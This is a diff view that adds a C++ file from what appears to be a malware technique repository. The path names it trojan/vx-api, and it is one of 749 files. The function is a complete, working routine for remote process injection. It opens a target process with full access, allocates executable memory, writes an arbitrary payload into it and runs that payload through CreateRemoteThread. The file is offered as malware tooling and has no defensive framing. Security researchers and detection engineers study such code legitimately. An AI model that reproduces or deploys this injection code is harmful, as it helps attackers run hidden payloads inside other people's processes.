Showing the changes to trojan/vx-api/MpfPiWriteProcessMemoryCreateRemoteThread.cpp (1 of 749 files). Show all
Unified · Split
| @@ -0,0 +1,40 @@ | |||
| 1 | #include "Win32Helper.h" | ||
| 2 | |||
| 3 | BOOL MpfPiWriteProcessMemoryCreateRemoteThread(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes, _In_ DWORD TargetProcessId) | ||
| 4 | { | ||
| 5 | HANDLE hHandle = NULL, hThread = NULL; | ||
| 6 | LPVOID BaseAddress = NULL; | ||
| 7 | BOOL bFlag = FALSE; | ||
| 8 | |||
| 9 | hHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, TargetProcessId); | ||
| 10 | if (hHandle == NULL) | ||
| 11 | goto EXIT_ROUTINE; | ||
| 12 | |||
| 13 | BaseAddress = VirtualAllocEx(hHandle, NULL, PayloadSizeInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE); | ||
| 14 | if (BaseAddress == NULL) | ||
| 15 | goto EXIT_ROUTINE; | ||
| 16 | |||
| 17 | if (!SetProcessPrivilegeToken(0)) | ||
| 18 | goto EXIT_ROUTINE; | ||
| 19 | |||
| 20 | if (!WriteProcessMemory(hHandle, BaseAddress, Payload, PayloadSizeInBytes, NULL)) | ||
| 21 | goto EXIT_ROUTINE; | ||
| 22 | |||
| 23 | hThread = CreateRemoteThread(hHandle, NULL, 0, (LPTHREAD_START_ROUTINE)BaseAddress, NULL, 0, NULL); | ||
| 24 | if (hThread == NULL) | ||
| 25 | goto EXIT_ROUTINE; | ||
| 26 | |||
| 27 | WaitForSingleObject(hThread, INFINITE); | ||
| 28 | |||
| 29 | bFlag = TRUE; | ||
| 30 | |||
| 31 | EXIT_ROUTINE: | ||
| 32 | |||
| 33 | if (hThread) | ||
| 34 | CloseHandle(hThread); | ||
| 35 | |||
| 36 | if (hHandle) | ||
| 37 | CloseHandle(hHandle); | ||
| 38 | |||
| 39 | return bFlag; | ||
| 40 | } | ||